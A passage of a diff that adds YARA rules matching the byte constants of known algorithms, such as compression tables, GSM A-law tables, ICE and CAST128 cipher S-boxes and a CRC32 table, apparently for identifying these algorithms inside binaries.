+	$a0 = { 7115e812715c3f9d7cc1a6c57e38e5e59ca23611e659bd57a90051cc0846cbe1a03ba7bd649d540b07821d33202d87ed8b2111dd1832594a15cdbff2543503e6e7760f0f6b041522039c39425dffbf035587cdc8b9cc3425231844b9c90ae0ea0778c973d86739ff5d6e2af9440e1d3780542598dd89270bfc329023b2be2ba267f96d08eb219e6ffccda9360a14ddc9b2e059b8b641c90a3c06bfae4f621aa0fc333f4f06667bad31036ee95a9ee4d2d1ed1e5f1cb3ccdc48a34da6c062a51991a25bd429e66e066bbb7f2652621e43e150d0863cfa9957943c42a5481da552d3cf00b1ce0d060e5cf83cc9845f23d776b179b41b53831a272e0c0000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule select_tab__compression____8_byt_256_
+{
+strings:
+	$a0 = { 00010201030102010401020103010201050102010301020104010201030102010601020103010201040102010301020105010201030102010401020103010201070102010301020104010201030102010501020103010201040102010301020106010201030102010401020103010201050102010301020104010201030102010801020103010201040102010301020105010201030102010401020103010201060102010301020104010201030102010501020103010201040102010301020107010201030102010401020103010201050102010301020104010201030102010601020103010201040102010301020105010201030102010401020103010201 }
+
+condition:
+	$a0
+}
+
+	
+rule SDX2___2_1_Squareroot_delta_exact_compression__16_lil_512_
+{
+strings:
+	$a0 = { 0080FE81F883EE85E087CE89B88B9E8D808F5E9138930E95E096AE98789A3E9C009EBE9F78A12EA3E0A48EA638A8DEA980AB1EADB8AE4EB0E0B16EB3F8B47EB600B87EB9F8BA6EBCE0BD4EBFB8C01EC280C3DEC438C68EC7E0C82ECA78CBBECC00CE3ECF78D0AED1E0D20ED438D55ED680D79ED8B8D9CEDAE0DBEEDCF8DDFEDE00E0FEE0F8E1EEE2E0E3CEE4B8E59EE680E75EE838E90EEAE0EAAEEB78EC3EED00EEBEEE78EF2EF0E0F08EF138F2DEF280F31EF4B8F44EF5E0F56EF6F8F67EF700F87EF8F8F86EF9E0F94EFAB8FA1EFB80FBDEFB38FC8EFCE0FC2EFD78FDBEFD00FE3EFE78FEAEFEE0FE0EFF38FF5EFF80FF9EFFB8FFCEFFE0FFEEFFF8FFFEFF000002000800120020003200480062008000A200C800F200200152018801C201000242028802D20220037203C80322048004E2044805B20520069206080782070008820808099209200AB20A480BE20B800C220DC80D720E200FD20F881042110012C212881352142015F215C816A21780186219481A321B201C121D081E021F002002210822122320243225482662278028A229C82AF22B202D522E882FC230003242338834D23520377238C839223B803CE23D483FB240204292430845824600488249084B924C204EB24F4851E25280542256C8577259205BD25C885E42600062C263886552672069F26AC86CA26E80706272487432762078127A087C027E }
+
+condition:
+	$a0
+}
+
+	
+rule UBI_COM_gschat_encoding_decoding_algorithm__32_big_8188_
+{
+strings:
+	$a0 = { 7d534b3b62efc73a969984abde17df736c8198244fb6e4e6b86d4e76bad9457f89071a4923bd3e2c219e1f0932b330aa683d97e1ac3ddab6397a79333ba6beca6e07ba4e212ed4a795e620a6698b9b73082b364c5e1d5e065f8f034c631c75679621ba3a66704d9eb9e6bf4397cd704785bbeae7c0a12d0e960712ed279e3e3549f2fe8469554f89b7f8cdd64e4f78226aeeb9b3e10462d6bf97b9ea92db49ac8e138e40e7c36b7c69d7a80a0f8b63a4d39513b58b4d63cb9ff77163f0184190037518aa0c59df1462c198d7e2647625add69c81573f76f9c1a8579b0e47dedca9874318343cc91fa10703db8977e1fdbb3c31494854d4cd6517cb5be426006da39a2876b63e05103a750e391ce650295c3a819635f361e9a02a763109e6d5b923c30eb82b7211899bd76ee67f8b9af96c806214930f30a4ff649d433828ec51c8d6e9928041721daa1144e73229c71dd8ce29d18b52ee50ef7675d216df79cee76e0e61baf1e2594eb79d9939233316f3bbe3ea4466f62d9b7078965d0d328132db3bd285e1ae398c79abefde5717cf0e02ddb8743291f4a020b26e18a8e91c5b38d24c1bc111958d3af7757e192ebb8507a8f33b21f00a3ad8437ae7097480c1291f3a6e15f95ee270f22c400db04a410d74ef80fc6c24c96939a78b6b314071bd65a685e9266cd6690e0590a4501dcf3e92b4789ab02593d93c10e0c7b0822e7d50069e0946b7cc804e83282e391a6e416136112fb982104a90d2b606d2fd7b00ea016a588226f507283d792652c986e63d17cd3e82860b8b9c1cd2d9a61e6609737e0d4913ddcc44ebe6fbcf72c1108ba52462f5d09f54ad646062f609c664a71062ad23523100daf4ad8288b12d81b33bd737eaa2c4924e8e37d10f6aa0387bd5497e5989f6f54d04fc17258f1cebfb8082873212b5605bf1909dc788d985c4d707564c91e1f520c09a10c49bba7d8a97405d808ade045e602adfefd01d7a21f3d45f533bee6a3d1e4d3c5b2e3b5424e5ff3e4b84721977af0a5f737dd06a2bebcf5e9a452a9a5631dd56b001ee2b53ee6bf701516a9f9dd8f3eb0947c21da2b231d33680c788d515c004ed11b7d9e770aacd3897843ea8bc0c59049448e71738d8a5aeded63a47bf6c2bf8d6664ff49c8529f6b70eaeb15e214ed7e3fd9929fce9a4305cce09279e3728a5ecbcc66ddb137a385fe242fde727b50290e004e855c8ce94d39b2d59f2e9beb23d302a92531eae3f2ecf46ee9d111a7a145d884e4b2101cffae4294d2aefb9ff251592e67b09b445e5a51b95a397668f56a0f9006eab772bb81cfbe78ce45d57bdbace257ff057c98048a7e43d5a06fefe9990aad6873bb673c3b731198b32ee79aa63f08e87c0db278bf1f7ba12d1cabe5ac9284e2a2d4c2a9dfe9d086e75faf6fed5c5a840ecb94fda0a05367893190cfa3b709fc1edcff3bd57c7b747f91a7c654ce549b00c3ac60933b6139d60cebe6c585353e58c49f73dfce668576a41b6ad74fd022848b5d687fb5324a03cef55ee4e289d2942c39cae2ebbf5144793cbcd6f7ba208e56b6d97ecfb5bb44c877b4c4d5da2877daf39bbcb1f9fa488a5b36e51c749454517929992fa2c4a43c564150320f4f968d5ed1909abe789909aea306d7fb3c5309380765392f95907e5f4d2f33e4028d44f2ef0dd230d1b49e646e96f21bd50ded74cfb35de78d1ef578807d067fa1eed5975f5b4cb3b946a5149a79272e07c735424520e6ff2ee8b50b8fc7dd6fd187eccca6e95afef6602f15fdb6a356fa0505306d502e5afa2399ecca13ebf0563b96a9093905d7504ccc7fd85c6fcc1e5babbfb0a9925a24532332e23b1daa8fb660670e9c1b9d6b08ba31904b576e598ecdea0111534a5adc33d1a8a0f3800c4943ddfd68eb52a05a66b6bbbdd16042493799b193abc042a90814fea33d2f57354899538f6d632ce7978aa116166ac7633a293dd1a35ad4a398e0f318a0e2a75a653506cb9368613432b7030bf759f91caeb5b377a48ef547531595fff6c9b52fb291c39eae9183a2379ed287d224404917e9722ce8704dc6eab0487e49802a63544454b137173a89d2b33bd84013e0f856cc03f597bbad0fba1dddc81ef6196df59585e40222892c9a2ffc16b9e88067597365850ac148c6a5c53d1c315c528270d1b3c4196b2abfd7c20a6922abb7860caa117b28a7951251ee435a39b18c52825807f5a675f4bffc93b8d5b2c37a419318471893fd270e063b1c4b82a1e5eae84c8bb7cf0e2638b246c99f6cb3c6e01a652ebce941e8e4171f48da7403e24bd9c5e06129e8ee6c15c143243315e3ec2050d005b7ceb56ac9beb6bb85b9ab66ec070fb7b4c415262657dfd90303886b9fd6c97f5b8b765bed19a1122f137ac30e8d74279216c81664a3aa8e695b5d2d021f39a83ca650ebf249ce5d7494070e333d0a58daad530edb0eceb047f7a419d6d42e1492533c71a806865a98e9d94a3a88d79ceac7c473d0aacfce1dc5e405ecb6ca117f25d42ec242cf9d49e925beb201656c63fe1dba63306ced3798dd5c57db0b53c081268b65f349573b6127340b7418a23fc2ba5f2e9a205e8691be06e5a763cb7cf1647cc548751fbbef5ca0eb7fb19c7b758048ee642e2e0aec829bc917ef2ac0fc0e11a6232f1c6ca9465b1a117aa067d974ca716e3dd214c5592b99710d09dff256e4b6603eff4d3a626a034e14ebcd98e65e4f4f7346ff13834ba938012cef8349d376ba34f4176ee6b8bcbfde0131456167b1e2e90577cad5af6b172e89f6f02da2f4cd4d63ff118f30304ee50c704df0b9fdb8365ccef4ea5d837f82aeec934a11c674e26a1b17d66a2e44633823e1e7fc23e652625ba3da014a21c28c1a1a46ba4a10aa4160260ad2dd8befe5c2d9e5b9ed9c7a680b4f786e168a01f7f813abe29e5bed62f21747e4ce7dafc016cfc492e5304f8ea90e7f92cf8d63a8f9abf8233366db59598702183117669adfcecd7812d45e226e594b16e5e0f32eae8633f14f8af56439b1995c5ba8cf768b5a040ec590d8d5070603b76d1bd7cca00883922f22f2f504fcc97596cafb224936b02ef7d11f0810222a3611646a8725ef6e95ce1c8acccb647e8ed96eda8a8126fc7ed365893ed71c68d38f78e02d68ee65f963af8cb2d6b2454124e78017308c458d79bd61aa5e6e41ec430782776afffde2215581a8f31cc315dd8bd5622d5c628557c4cb29c68ec666a15a69cb10c9ac198a4ab57c79434c1d42e04a75aff5cfed406f8a09d8f51a55e9ff4bf05fd767dfd163a6f9ca511d9cd3e283bddde27d3edd6f460c6f1daed880b533cf6e18bbb38c34e287b193f8136f0d738820278bec2d762c91dd83cb2c20810023ff73dbd931060518a206cc80062dc43a726277eed30d61555d999c14f2a5f475639520f8c5bc43a419b526cef0ebff9d1fdd244147d6404ced92314f3212ec23d01b8886729f5164c01ec6500a1d6373614871cfa1155337c2b9fdf7e38988b3e1589f06000740e11e2b916031257c26173c707a895bf8c831dae9053fe73d3358538c98090596943a73af507c7a19ce169b4a817fec826e87aa4c10e4431164db50d6e7d4d329f486844340b20b82c325319b5fe3d42961268f74f30851effe054a1efd407d3ad11eec96437d1eec39c0c0f914e9a830abb66f603ccd403653aa2654332228a92d654f6742d9d83195086f54d877a06b18adbca38d992ef45d86814af50abe373adaed3189b9b28c8a5c18fbe3eb86912a1107d2a8fff58a39ba4f6e981f6a9a14d8d508cbee476deeb32c9fdc232071942ee6148f40dd7995305a1cefdf1a7b7684fdeb7b93a089cd4a570ba79bc08b65e4af88395f496dc7c57816e91bb76955f1c55afdc53952d492b2434ffac8c03d72d9166e8f351c2eb59f14a3d5328e7221d5f23e5499756e65383fa0ce5c4888d6aa151d229c1fdceb93bc884c0f770a5a1c6dd64f4af223e062d09b9d156724aa8a75f10d3f511332c538ffdb169f1b7e68f0bb1ea3115b72f7bee0fefb7cd8c150017a80ec01bc5e5e17142521d0070e557869f2d8ff4d855f397bab1e7257ace8e497cee1ef292f1346fd9a192bfb4a3585d2271a727c07c433c588c4fce55556c1cd1e107513443f4545f0429d89e1fa563adf3d0954e1f93a1626221dcca0d60c6d46a199f8b4238fa00473c18c8bb9fc57d411664bbfa18b29bd40244123e3013acfcce0784c8603189a005156367c669cc3aa1382b05a83df6fd802662798ae4883a038a8a6a7cad15b3560b7e4eb436bdb7b4fa34cd1128721250adcf7f167c4964424d8533ebda46ec788d656f8deef0348673a18c99c1ada8ca5b74d2b2f4ad12f74c0df6484571f223c22e0c1b728529c2499d5b4813484187cd9434648f3e84f7999c966fa96075538537b75e8bef0a5a8817f407ac6bd9c1295db626df24dd5a56845934d9445cb5b5e135907a8ed163946774c5b01b944422467dfb60ce6c32c0deef91f1c04fb508918fbc4824da7074333afaf0961c7a76830c812cfd61877152ae60f101f469e7bcde87b3c5232a45e7c0e1badc0ee464a7d0315ab64a1a8a1a288044cb03b4d26e500e87a6c6df5dd3c5c1224041e92133f9173ada2934250db8730a378ef24ad2ea07c47444d94e8570e176384d95ca5bcf579eaf34f2447cb37d9ef880fa20414e10f3a23fc9003a63fa6c40d0ac97a1831cf327deafc69ee4bebc23524bf289915f983ee262faef3a7dde5c6a167688bc0780466bca947e4c7bff9041377eaaefa0913e16ab716d5dc006c49de4cb69c51f070f3f2a7da170da781edf135683af66f671e3bfec8de2815de1fea1f45336832aec12edca8b1ab2d5600839f73532889537f18f404de359b544584d11c4b5dbd0033a78d2ebbaba35ac30d2528eb43a04179b277c85ca272991cf59b485c525ed6f0079511af111d586885ca38489e581dde185b6eb51f92ee75892728fcdd79121c9221c268c76743f93cde241d907daea008728a655fc06958bdf38e68726277b7be98f2f35251a945eb054c81e3ebd403a2e1f2e1ff3bbb6a48052b90e2be40bb2a34568b0ad40df314550325bd93178ee2222abb00331dfa9a7e9edaf8095b3c1dc89408c9dad02dcb049c16ef7de9e202225f560636b88ba6f2d91cdffa9e50246f4ce24349b869b1df2c44907407542caef5df820518e3bf5f3475ec74e55c55d756b699775adaf34361d7f8c44cff55e6d4bc2917fb9ad8eb090a8cbbe58628a1b489beba6affd43f1b42d25908edfd19b693f8c59cb206975d205e6353d018c71460878e95a0c9e245455b789e7b83ec5771b87061e586af54f4aadff1c309a2711134ab0905673afeb71a8cd57998fafa9f8e48435e9b4553712c76624c05e03d778ba7ec78b1808ebbf3956af9aba384cda0a351a461525331604be5d1297740541568a7c635930e51c886f7e23d82dde3d4a667c716bf9e4a21b317f5e5bc3ac1028d77af1bfb3504e629d5ad662707b172f3de42476da57ee8acf27ac80ba9ec80198134293795e448845f44f51159ab322e0c8a02febcad2a21463f04be7b8bcfac249a3aa36284e37659a0819b2fbc11568f0786378b0269983eeb2cbadc58b2f6afef747e8962a8bc6b0deaf4292db2c37f0481c4bd6e61b7e9cd6cafa2ca8d24044b0118d703b27521779f07683b887c1f3f905ce9f70cc46600f357ed3ef9eacf06f2c112819508d243432283a8f547732b9ada7d5a0e207598cda0ef4ac5df112c35fa1602850f0ebb6b84e7ac5ea468eda8925b1ef5c39de1172ccf51c19cad2d26a4ec32bb51213e580b78e6b2c55bf765304e86db62e7bf455cd1c82593dcdf5ae779215265a47f39cf6243f6a8885a308d313198a2e03707344a4093822299f31d0082efa98ec4e6c89452821e638d01377be5466cf34e90c6cc0ac29b7c97c50dd3f84d5b5b54709179216d5d98979fb1bd1310ba698dfb5ac2ffd72dbd01adfb7b8e1afed6a267e96ba7c9045f12c7f9924a19947b3916cf70801f2e2858efc16636920d871574e69a458fea3f4933d7e0d95748f728eb658718bcd5882154aee7b54a41dc25a59b59c30d5392af26013c5d1b023286085f0ca417918b8db38ef8e79dcb0603a180e6c9e0e8bb01e8a3ed71577c1bd314b2778af2fda55605c60e65525f3aa55ab945748986263e8144055ca396a2aab10b6b4cc5c341141e8cea15486af7c72e993b3ee1411636fbc2a2ba9c55d741831f6ce5c3e169b87931eafd6ba336c24cf5c7a325381289586773b8f48986b4bb9afc4bfe81b6628219361d809ccfb21a991487cac605dec8032ef845d5de98575b1dc262302eb651b8823893e81d396acc50f6d6ff383f442392e0b4482a484200469c8f04a9e1f9b5e21c66842f6e96c9a670c9c61abd388f06a51a0d2d8542f68960fa728ab5133a36eef0b6c137a3be4ba3bf0507efb2a98a1f1651d39af017666ca593e82430e888cee8619456f9fb47d84a5c33b8b5ebee06f75d885c12073401a449f56c16aa64ed3aa62363f77061bfedf72429b023d37d0d724d00a1248db0fead349f1c09b075372c980991b7b25d479d8f6e8def7e3fe501ab6794c3b976ce0bd04c006bac1a94fb6409f60c45e5c9ec2196a246368fb6faf3e6c53b51339b2eb3b52ec6f6dfc511f9b30952ccc814544af5ebd09bee3d004de334afd660f2807192e4bb3c0cba85745c8740fd20b5f39b9d3fbdb5579c0bd1a60320ad6a100c6402c7279679f25fefb1fa3cc8ea5e9f8db3222f83c7516dffd616b152f501ec8ad0552ab323db5fafd23876053317b483e00df829e5c57bbca6f8ca01a87562edf1769dbd542a8f6287effc3ac6732c68c4f5573695b27b0bbca58c8e1ffa35db8f011a010fa3d98fd2183b84afcb56c2dd1d35b9a53e479b6f84565d28e49bc4bfb9790e1ddf2daa4cb7e3362fb1341cee4c6e8ef20cada36774c01d07e9efe2bf11fb495dbda4dae909198eaad8e716b93d5a0d08ed1d0afc725e08e3c5b2f8e7594b78ff6e2fbf2122b648888b812900df01c4fad5ea0688fc31cd1cff191b3a8c1ad2f2f2218be0e1777ea752dfe8b021fa1e5a0cc0fb56f74e818acf3d6ce89e299b4a84fe0fd13e0b77cc43b81d2ada8d9165fa2668095770593cc7314211a1477e6ad206577b5fa86c75442f5fb9d35cfebcdaf0c7b3e89a0d6411bd3ae1e7e4900250e2d2071b35e226800bb57b8e0af2464369bf009b91e5563911d59dfa6aa78c14389d95a537f207d5ba202e5b9c5832603766295cfa911c819684e734a41b3472dca7b14a94a1b5100529a532915d60f573fbc9bc6e42b60a47681e6740008ba6fb5571be91ff296ec6b2a0dd915b6636521e7b9f9b6ff34052ec585566453b02d5da99f8fa108ba47996e85076a4b7a70e9b5b32944db75092ec4192623ad6ea6b049a7df7d9cee60b88fedb266ecaa8c71699a17ff5664526cc2b19ee1193602a575094c29a0591340e4183a3e3f54989a5b429d656b8fe4d699f73fd6a1d29c07efe830f54d2d38e6f0255dc14cdd20868470eb266382e9c6021ecc5e09686b3f3ebaefc93c9718146b6a70a1687f358452a0e286b79c5305aa5007373e07841c7fdeae5c8e7d44ec5716f2b8b03ada37f0500c0df01c1f040200b3ffae0cf51a3cb574b225837a58dc0921bdd19113f97ca92ff69432477322f547013ae5e58137c2dadcc8b576349af3dda7a94461460fd0030eecc8c73ea4751e41e238cd993bea0e2f3280bba1183eb3314e548b384f6db9086f420d03f60a04bf2cb8129024977c795679b072bcaf89afde9a771fd9930810b38bae12dccf3f2e5512721f2e6b7124501adde69f84cd877a5847187408da17bc9f9abce94b7d8cec7aec3adb851dfa63094366c464c3d2ef1c18473215d908dd433b3724c2ba1612a14d432a65c45150940002133ae4dd71dff89e10314e5581ac77d65f11199b043556f1d7a3c76b3c11183b5924a509f28fe6ed97f1fbfa9ebabf2c1e153c6e86e34570eae96fb1860e5e0a5a3e2ab3771fe71c4e3d06fa2965dcb999e71d0f803e89d65266c8252e4cc9789c10b36ac6150eba94e2ea78a5fc3c531e0a2df4f2f74ea7361d2b3d1939260f19c279605223a708f71312b6ebadfe6eeac31f66e3bc4595a67bc883b17f37d1018cff28c332ddefbe6c5aa56558218568ab9802eecea50fdb2f953b2aef7dad5b6e2f841521b62829076170ecdd4775619f151013cca830eb61bd960334fe1eaa0363cfb5735c904c70a239d59e9e0bcbaade14eecc86bc60622ca79cab5cabb2f3846e648b1eaf19bdf0caa02369b9655abb5040685a323c2ab4b3319ee9d5c021b8f79b540b19875fa09995f7997e623d7da8f837889a97e32d7711ed935f166812810e358829c7e61fd696dedfa17858ba9957f584a51b2272639b83c3ff1ac24696cdb30aeb532e30548fd948e46dbc312858ebf2ef34c6ffeafe28ed61ee7c3c735d4a14d9e864b7e342105d14203e13e045eee2b6a3aaabeadb6c4f15facb4fd0c742f442ef6abbb5654f3b1d41cd2105d81e799e86854dc7e44b476a3d816250cf62a1f25b8d2646fc8883a0c1c7b6a37f1524c369cb749247848a0b5692b285095bbf00ad19489d1462b17423820e0058428d2a0c55f5ea1dadf43e233f70613372f0928d937e41d65fecf16c223bdb7cde3759cbee74604085f2a7ce77326ea607808419f8509ee8efd85561d99735a969a7aac50c06c25a04abfc800bcadc9e447a2ec3453484fdd567050e1e9ec9db73dbd3105588cd675fda79e3674340c5c43465713e38d83d28f89ef16dff20153e21e78fb03d4ae6e39f2bdb83adf7e93d5a68948140f7f64c261c94692934411520f77602d4f7bcf46b2ed4a20068d40824713320f46a43b7d4b7500061af1e39f62e9724454614214f74bf8b88404d95fc1d96b591af70f4ddd366a02f45bfbc09ec03bd97857fac6dd031cb850496eb27b355fd3941da2547e6abca0a9a28507825530429f40a2c86dae9b66dfb68dc1462d7486900680ec0a427a18dee4f3ffea2e887ad8cb58ce0067af4d6b6aace1e7cd3375fecce78a399406b2a4220fe9e35d9f385b9ee39d7ab3b124e8b1dc9faf74b6d185626a36631eae397b23a6efa74dd5b43326841e7f7ca7820fbfb0af54ed8feb397454056acba48952755533a3a20838d87fe6ba9b7d096954b55a867bca1159a58cca9296399e1db33a62a4a563f3125f95ef47e1c9029317cfdf8e80204272f7080bb155c05282ce395c11548e4c66d2248c1133fc70f86dc07f9c9ee41041f0f404779a45d886e17325f51ebd59bc0d1f2bcc18f41113564257b7834602a9c60dff8e8a31f636c1b0e12b4c202e1329eaf664fd1cad181156b2395e0333e92e13b240b62eebeb92285b2a20ee6ba0d99de720c8c2da2f728d012784595b794fd647d0862e7ccf5f05449a36f877d48fac39dfd27f33e8d1e0a476341992eff743a6f6eabf4f8fd37a812dc60a1ebddf8991be14cdb6e6b0dc67b55106d672c372765d43bdcd0e804f1290dc7cc00ffa3b5390f92690fed0b667b9ffbcedb7d9ca091cf0bd9155ea3bb132f88515bad247b9479bf763bd6eb37392eb3cc1159798026e297f42e312d6842ada7c66a2b3b12754ccc782ef11c6a124237b79251e706a1bbe64bfb63501a6b101811caedfa3d25bdd8e2e1c3c9444216590a121386d90cec6ed5abea2a64af674eda86a85fbebfe98864e4c3fe9dbc8057f0f7c08660787bf86003604dd1fd8346f6381fb07745ae04d736fccc83426b33f01eab71b08041873c005e5f77a057bebde8ae2455464299bf582e614e58f48ff2ddfda2f474ef388789bdc25366f9c3c8b38e74b475f25546fcd9b97aeb26618b1ddf84846a0e79915f95e2466e598e20b457708cd55591c902de4cb90bace1bb8205d011a862487574a99eb77f19b6e0a9dc09662d09a1c4324633e85a1f0209f0be8c4a99a0251d6efe101ab93d1d0ba5a4dfa186f20f2868f169dcb7da83573906fea1e2ce9b4fcd7f5250115e01a70683faa002b5c40de6d0279af88c27773f8641c3604c0661a806b5f0177a28c0f586e0006058aa30dc7d6211e69ed72338ea6353c2dd94c2c21634bbcbee5690bcb6deebfc7da1ce591d766f05e4094b7c018839720a3d7c927c2486e3725f724d9db91ac15bb4d39eb8fced54557808fca5b5d83d7cd34dad0fc41e50ef5eb161e6f8a28514d96c51133c6fd5c7e756e14ec4362abfceddc6c837d79a323492638212670efa8e406000e03a39ce37d3faf5cfabc277375ac52d1b5cb0679e4fa33742d382274099bc9bbed5118e9dbf0f7315d62d1c7ec700c47bb78c1b6b21a19045b26eb1be6a366eb45748ab2fbc946e79c6a376d26549c2c8530ff8ee468dde7dd5730a1d4cd04dc62939bbdba9ba4650ac9526e8be5ee304a1fad5f06a2d519a63ef8ce29a86ee22c089c2b843242ef6a51e03aa9cf2d0a483c061ba9be96a4d8fe51550ba645bd62826a2f9a73a3ae14ba99586ef5562e9c72fefd3f752f7da3f046f6977fa0a5980e4a91587b086019b09e6ad3b3ee593e990fd5a9e34d7972cf0b7d9022b8b5196d5ac3a017da67dd1cf3ed67c7d2d281f9f25cfadf2b89b5ad6b4725a88f54ce029ac71e019a5e647b0acfded93fa9be8d3c48d283b57ccf8d5662979132e28785f0191ed756055f7960e44e3d35e8c15056dd488f46dba03a161250564f0bdc3eb9e153c9057a297271aeca93a072a1b3f6d9b1e6321f5f59c66fb26dcf3197533d928b155fdf5035634828aba3cbb28517711c20ad9f8abcc5167ccad925f4de817513830dc8e379d58629320f991ea7a90c2fb3e7bce5121ce64774fbe32a8b6e37ec3293d4648de53696413e680a2ae0810dd6db22469852dfd09072166b39a460a6445c0dd586cdecf1c20c8ae5bbef7dd1b588d40ccd2017f6bb4e3bbdda26a7e3a59ff453e350a44bcb4cdd572eacea8fa6484bb8d6612aebf3c6f47d29be463542f5d9eaec2771bf64e6370740e0d8de75b1357f8721671af537d5d4040cb084eb4e2cc34d2466a0115af84e1b0042895983a1d06b89fb4ce6ea0486f3f3b823520ab82011a1d4b277227f8611560b1e7933fdcbb3a792b344525bda08839e151ce794b2f32c9b7a01fbac9e01cc87ebcc7d1f6cf0111c3a1e8aac71a908749d44fbd9ad0dadecbd50ada380339c32ac69136678df9317ce0b12b4ff79e59b743f5bb3af2d519ff27d9459cbf97222c15e6fc2a0f91fc719b941525fae59361ceb69cebc2a8645912baa8d1b6c1075ee3056a0c10d25065cb03a442e0ec6e0e1698db3b4c98a0be3278e9649f1f9532e0d392dfd3a0342b8971f21e1b0a74414ba3348cc5be7120c37632d8df359f8d9b992f2ee60b6f470fe3f11de54cda541edad891ce6279cfcd3e7e6f1618b166fd2c1d05848fd2c5f6fb2299f523f357a632762393a8353156cccd02acf081625a75ebb56e16369788d273ccde96629281b949d04c50901b }
+
+condition:
+	$a0
+}
+
+	
+rule Electronic_Arts_TQI_base_table2__8_byt_64_
+{
+strings:
+	$a0 = { 081013161a1b1d22101016181b1d222513161a1b1d22222616161a1b1d222528161a1b1d202328301a1b1d202328303a1a1b1d22262e38451b1d23262e384553 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_toast_alaw_a2s__16_lil_512_
+{
+strings:
+	$a0 = { 001400eb4001b0fe005000ac0005c0fa000a80f54000b0ff002800d6800260fd001c00e3c00130fe0070008c0007c0f8000e80f1c00030ff003800c6800360fc001000ef0001f0fe004000bc0004c0fb000880f70000f0ff002000de0002e0fd001800e7800170fe0060009c0006c0f9000c80f3800070ff003000ce0003e0fc001600e9600190fe005800a4800540fa000b80f4600090ff002c00d2c00220fd001e00e1e00110fe00780084800740f8000f80f0e00010ff003c00c2c00320fc001200ed2001d0fe004800b4800440fb000980f62000d0ff002400da4002a0fd001a00e5a00150fe00680094800640f9000d80f2a00050ff003400ca4003a0fc001500ea5001a0fe005400a8400580fa800a00f55000a0ff002a00d4a00240fd001d00e2d00120fe00740088400780f8800e00f1d00020ff003a00c4a00340fc001100ee1001e0fe004400b8400480fb800800f71000e0ff002200dc2002c0fd001900e6900160fe00640098400680f9800c00f3900060ff003200cc2003c0fc001700e8700180fe005c00a0c00500fa800b00f4700080ff002e00d0e00200fd001f00e0f00100fe007c0080c00700f8800f00f0f00000ff003e00c0e00300fc001300ec3001c0fe004c00b0c00400fb800900f63000c0ff002600d8600280fd001b00e4b00140fe006c0090c00600f9800d00f2b00040ff003600c8600380fc }
+
+condition:
+	$a0
+}
+
+	
+rule ICE__block_cipher__ice_smod__32_big_64_
+{
+strings:
+	$a0 = { 0000014d00000139000001f9000001710000017b000001770000013f0000018700000169000001bd000001c30000018d0000018d000001a90000018b000001f9 }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox6__32_lil_1024_
+{
+strings:
+	$a0 = { 9d8ffaf6e16cac2c6748a34c7c7f33e2e708db95b4436801bc5cedecac53553260099fbfede2a1df9d57f083b986ed63b8a6b61a39be5ede32f78ff338b189896149f133bd3719c0dac606f57e5e62e499ea08a33ce3234eccd7cb796743a148199614a3d54bc9fe4a1714a16618a0ea2ddb84a06f48a8094a6188a898af002991596601632899e1600cf3c83cef782e3219d5d014ec0fcfd207caf77220a8d07e1941fdb0a60593dae36be8cdd3be743ca52d3748447f4c40d4b5dac30eba6da7193908d9eeba9fb0cfdb49530c674e019c3d5c41b9bd646a630e2ccdd97dba88736fea62c70be7db9af2358ddd4c5c8c8dd4f0e25381b86698a108c8eae21a89af4c28238292aa53be3493bf213a3be34b43160639ea9a6ec3e8efd9cd90f8ae6d2280a3a440c3099c7edf07a894a6cc5e7c5ba6b31d222fa0699a548a81686f29b2ce3a84c053553689fe8ae6bf25bc8a62b4bf2e22cf486fac258793a9a965dbbd53e7fb6fe778fd67e96335a90bc12b348ee91ba1e80d748049fc7d08c899bfe48da00111a17579d37fc0265ada4f991fe889cd2895ed9f33fdbf3478b86d45045f988625223bc8c4c9be56c12daa8d624fc55ef557be0a22e2bf6e91d2955bc74ec0c3f224995dd142a07f0dcdff276e7bf08adca806c145732f231ef4862316352689eae694b03333f2c67e15af742b37e473256948d8a9e9890216f31def623a38e287a776f6a5f353483674631095208d69764507d4fab650f92a592335f736876efb4cc0cea47daa2d156ca89603cb5dfe0dc5ab07d7fc2fc42109bbf0df8978bee25f334f8f44c91346758dd0052b85d5b948419404dc9b8f09c886e7ed7d73339ac3050041425117096aa6c8f30ed672008982762028bef7a9a99d6732bf755b5bd400fd53b358e3b0cb0a220f8314b28f1f08cf72d3134a3ccc6631f68cbe871c06888fc98897e362607a8ecf478352c8b6fbacc23c7669c03f52028f4e4d31d864e37038da5954661ef00809c1a5213051b7685b6ca08a2f823ecd0730ef9e7174812687dcd4403307d92f437e41c25e0c6c28098891d892f5f630a90805f37e95bdfffbb76fe966c298ace46fc0ec73b12ab460bcda98349512aea1fb36d74b2dabfa250febfcf3a4239196e23d0c7f2549af4893bc0014364a6f81e800f214384340f9a3c2547a9c574f70bcf9e741da3ad35ac284a0f45405557fb1be7c3559c815bdedabc5977fb5c75abaafdef6b63a9c473a25da02536a7e3d65498d2654ea77a4515bd51750885dd2d7766c1344c8a8040421a1e5b88a921ab86958ed60965bc5971b99ecea13599329f1b7fd01fa8d8e08f5f6b69a9fbf4c3babe35d4a351d05e655d8e1a0f14c6bd3ebed44f52435e9b0bd8fbbbecf62d7a2542fc94931f3b53854a4287105293948b81d5ba6bd971c852fcf75d6 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xf00f9344__32_lil_refl_False_
+{
+strings:
+	$a0 = { 0000000044930ff0ccb5101088261fe0986b2120dcf82ed054de3130104d3ec030d7424074444db0fc625250b8f15da0a8bc6360ec2f6c9064097370209a7c8060ae8580243d8a70ac1b9590e8889a60f8c5a4a0bc56ab503470b4b070e3bb405079c7c014eac8309cccd7d0d85fd820c812e6e08c81e91004a7f6f04034f90084cf04f1c05c0b01487a14e10ce91b111ca425d158372a21d01135c194823a31b41846b1f08b494178ad56a13c3e59512c73679168e06861e0c67781a4557871e4618171a0f28e8128d491616c479e917c0aa0513899afa1b0bfb041f42cbfb1d4b6c3319025ccc11803d3215c90dcd14cdde211084eede18068f201c4fbfdf14c0c0612089f09e280b91602c42a19f2d467273290f428c218d237225c4138d27cdb445238484ba2b06e5442f4fd5bb2e4b06572a0236a82280575626c967a922ca2839268318c62e0179382a4849c72b4c9a2b2f05aad42787cb2a23cefbd521c75c1d258e6ce22d0c0d1c29453de32841ee0f2c08def0248abf0e20c38ff12c8c302e38c500d13047612f340e51d0350a823c3143b2c339c1d33d3d88e3c23f81440a3bc874f5334a150b370325f43607f618324ec6e73acca7193e8597e63a86d8763ecfe889364d89773204b98833006a6437495a9b3fcb3b653b820b9a398bac523dc29cad3540fd533109cdac300d1e403